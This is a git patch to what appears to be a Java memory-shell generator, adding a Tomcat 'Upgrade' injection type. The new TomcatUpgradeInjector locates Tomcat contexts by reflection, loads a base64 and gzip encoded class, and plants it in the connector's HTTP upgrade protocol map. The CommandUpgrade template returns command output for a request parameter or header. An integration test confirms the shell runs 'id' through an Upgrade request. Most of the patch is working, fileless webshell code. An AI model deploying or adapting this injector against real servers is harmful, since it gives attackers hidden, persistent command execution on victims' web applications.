From 2ac2c845de404638c5b59d56969138fb666aee1e Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 6 Dec 2025 18:42:46 +0800 Subject: [PATCH] feat: support tomcat upgrade --- .../javaweb/memshell/ServerFactory.java | 1 + .../reajason/javaweb/memshell/ShellType.java | 1 + .../tomcat/TomcatUpgradeInjector.java | 222 ++++++++++++++++++ .../javaweb/memshell/server/Tomcat.java | 1 + .../shelltool/command/CommandUpgrade.java | 94 ++++++++ .../reajason/javaweb/utils/CommonUtil.java | 4 + .../apache/catalina/connector/Request.java | 4 + .../main/java/org/apache/coyote/Adapter.java | 8 + .../java/org/apache/coyote/Processor.java | 8 + .../main/java/org/apache/coyote/Request.java | 11 + .../org/apache/coyote/UpgradeProtocol.java | 22 ++ .../upgrade/InternalHttpUpgradeHandler.java | 8 + .../tomcat/util/net/SocketWrapperBase.java | 8 + .../javaweb/integration/ShellAssertion.java | 23 +- .../tomcat/Tomcat10ContainerTest.java | 1 + .../tomcat/Tomcat11ContainerTest.java | 1 + .../memshell/tomcat/Tomcat8ContainerTest.java | 1 + .../memshell/tomcat/Tomcat9ContainerTest.java | 1 + 18 files changed, 418 insertions(+), 1 deletion(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java create mode 100644 generator/src/main/java/org/apache/coyote/Adapter.java create mode 100644 generator/src/main/java/org/apache/coyote/Processor.java create mode 100644 generator/src/main/java/org/apache/coyote/Request.java create mode 100644 generator/src/main/java/org/apache/coyote/UpgradeProtocol.java create mode 100644 generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java create mode 100644 generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 61e65535..7d7ec25a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -132,6 +132,7 @@ public class ServerFactory { .addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) + .addShellClass(UPGRADE, CommandUpgrade.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 687f1d00..c0bd11eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -15,6 +15,7 @@ public class ShellType { public static final String JAKARTA_LISTENER = JAKARTA + LISTENER; public static final String VALVE = "Valve"; + public static final String UPGRADE = "Upgrade"; public static final String JAKARTA_VALVE = JAKARTA + VALVE; public static final String PROXY_VALVE = "Proxy" + VALVE; public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java new file mode 100644 index 00000000..6e1820d9 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java @@ -0,0 +1,222 @@ +package com.reajason.javaweb.memshell.injector.tomcat; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class TomcatUpgradeInjector { + + private static String msg = ""; + private static boolean ok = false; + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public TomcatUpgradeInjector() { + if (ok) { + return; + } + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null) { + msg += "context not found"; + } else { + for (Object context : contexts) { + try { + msg += ("context: [" + getContextRoot(context) + "] "); + Object shell = getShell(context); + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } + } + } + ok = true; + System.out.println(msg); + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * org.apache.catalina.core.StandardContext + * /usr/local/tomcat/server/lib/catalina.jar + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz.newInstance(); + } + + @SuppressWarnings("all") + public void inject(Object context, Object shell) throws Exception { + Object engine = getFieldValue(getFieldValue(context, "parent"), "parent"); + Object service = getFieldValue(engine, "service"); + Object connector = ((Object[]) getFieldValue(service, "connectors"))[0]; + Object protocolHandler = getFieldValue(connector, "protocolHandler"); + Map httpUpgradeProtocols = ((Map) getFieldValue(protocolHandler, "httpUpgradeProtocols")); + if (httpUpgradeProtocols.containsKey(getClassName())) { + return; + } + httpUpgradeProtocols.put(getClassName(), shell); + } + + @Override + public String toString() { + return msg; + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java index 61fe6da9..766c2845 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java @@ -46,6 +46,7 @@ public class Tomcat extends AbstractServer { .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class) + .addInjector(UPGRADE, TomcatUpgradeInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java new file mode 100644 index 00000000..5632405c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java @@ -0,0 +1,94 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import org.apache.catalina.connector.Response; +import org.apache.coyote.Adapter; +import org.apache.coyote.Processor; +import org.apache.coyote.Request; +import org.apache.coyote.UpgradeProtocol; +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.net.SocketWrapperBase; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.util.Scanner; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class CommandUpgrade implements UpgradeProtocol { + public static String paramName; + + @Override + public boolean accept(Request req) { + org.apache.catalina.connector.Request request = ((org.apache.catalina.connector.Request) req.getNote(1)); + Response response = request.getResponse(); + try { + String p = request.getParameter(paramName); + if (p == null || p.isEmpty()) { + p = request.getHeader(paramName); + } + if (p != null) { + String param = getParam(p); + InputStream inputStream = getInputStream(param); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + inputStream.close(); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return true; + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @Override + public String getHttpUpgradeName(boolean isSSLEnabled) { + return ""; + } + + @Override + public byte[] getAlpnIdentifier() { + return new byte[0]; + } + + @Override + public String getAlpnName() { + return ""; + } + + @Override + public Processor getProcessor(SocketWrapperBase socketWrapper, Adapter adapter) { + return null; + } + + @Override + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java index 7ceb9f39..98e49f11 100644 --- a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java @@ -146,4 +146,8 @@ public class CommonUtil { + "." + getRandomString(5) + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; } + + public static String getSimpleName(String injectorClassName) { + return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1); + } } \ No newline at end of file diff --git a/generator/src/main/java/org/apache/catalina/connector/Request.java b/generator/src/main/java/org/apache/catalina/connector/Request.java index 6ab0bdc8..9e0bef4f 100644 --- a/generator/src/main/java/org/apache/catalina/connector/Request.java +++ b/generator/src/main/java/org/apache/catalina/connector/Request.java @@ -342,4 +342,8 @@ public class Request implements HttpServletRequest { public DispatcherType getDispatcherType() { return null; } + + public Response getResponse() { + return null; + } } diff --git a/generator/src/main/java/org/apache/coyote/Adapter.java b/generator/src/main/java/org/apache/coyote/Adapter.java new file mode 100644 index 00000000..9954623a --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/Adapter.java @@ -0,0 +1,8 @@ +package org.apache.coyote; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface Adapter { +} diff --git a/generator/src/main/java/org/apache/coyote/Processor.java b/generator/src/main/java/org/apache/coyote/Processor.java new file mode 100644 index 00000000..ad8f45ab --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/Processor.java @@ -0,0 +1,8 @@ +package org.apache.coyote; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface Processor { +} diff --git a/generator/src/main/java/org/apache/coyote/Request.java b/generator/src/main/java/org/apache/coyote/Request.java new file mode 100644 index 00000000..27387fd0 --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/Request.java @@ -0,0 +1,11 @@ +package org.apache.coyote; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class Request { + public Object getNote(int id) { + return null; + } +} diff --git a/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java b/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java new file mode 100644 index 00000000..bb1bfba1 --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java @@ -0,0 +1,22 @@ +package org.apache.coyote; + +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.net.SocketWrapperBase; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface UpgradeProtocol { + public String getHttpUpgradeName(boolean isSSLEnabled); + + public byte[] getAlpnIdentifier(); + + public String getAlpnName(); + + public Processor getProcessor(SocketWrapperBase socketWrapper, Adapter adapter); + + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request); + + public boolean accept(Request request); +} diff --git a/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java b/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java new file mode 100644 index 00000000..c37068b5 --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java @@ -0,0 +1,8 @@ +package org.apache.coyote.http11.upgrade; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface InternalHttpUpgradeHandler { +} diff --git a/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java b/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java new file mode 100644 index 00000000..b3868a99 --- /dev/null +++ b/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java @@ -0,0 +1,8 @@ +package org.apache.tomcat.util.net; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class SocketWrapperBase { +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index c8307c99..b1b417c4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -14,6 +14,7 @@ import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.suo5.Suo5Manager; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -206,7 +207,27 @@ public class ShellAssertion { godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); break; case Command: - commandIsOk(shellUrl, shellType, ((CommandConfig) generateResult.getShellToolConfig()).getParamName(), "id"); + String paramName = ((CommandConfig) generateResult.getShellToolConfig()).getParamName(); + if (ShellType.UPGRADE.equals(shellType)) { + String shellClassName = generateResult.getShellClassName(); + OkHttpClient okHttpClient = new OkHttpClient(); + HttpUrl url = Objects.requireNonNull(HttpUrl.parse(shellUrl)) + .newBuilder() + .addQueryParameter(paramName, "id") + .build(); + Request request = new Request.Builder() + .header("Connection", "Upgrade") + .header("Upgrade", shellClassName) + .url(url) + .get().build(); + try (Response response = okHttpClient.newCall(request).execute()) { + String res = response.body().string(); + System.out.println(res.trim()); + assertTrue(res.contains("uid=")); + } + } else { + commandIsOk(shellUrl, shellType, paramName, "id"); + } break; case Behinder: behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java index d96b62f1..dffdfa2d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java @@ -60,6 +60,7 @@ public class Tomcat10ContainerTest { ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, ShellType.JAKARTA_WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java index 3d3143f7..1d38f64f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java @@ -61,6 +61,7 @@ public class Tomcat11ContainerTest { ShellType.JAKARTA_VALVE, ShellType.JAKARTA_PROXY_VALVE, ShellType.JAKARTA_WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java index 6ede0276..9ba38c00 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java @@ -61,6 +61,7 @@ public class Tomcat8ContainerTest { ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List testPackers = List.of(Packers.BigInteger, Packers.AgentJarWithJREAttacher); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java index 723e3cc0..4b08bd85 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java @@ -59,6 +59,7 @@ public class Tomcat9ContainerTest { ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET, + ShellType.UPGRADE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE );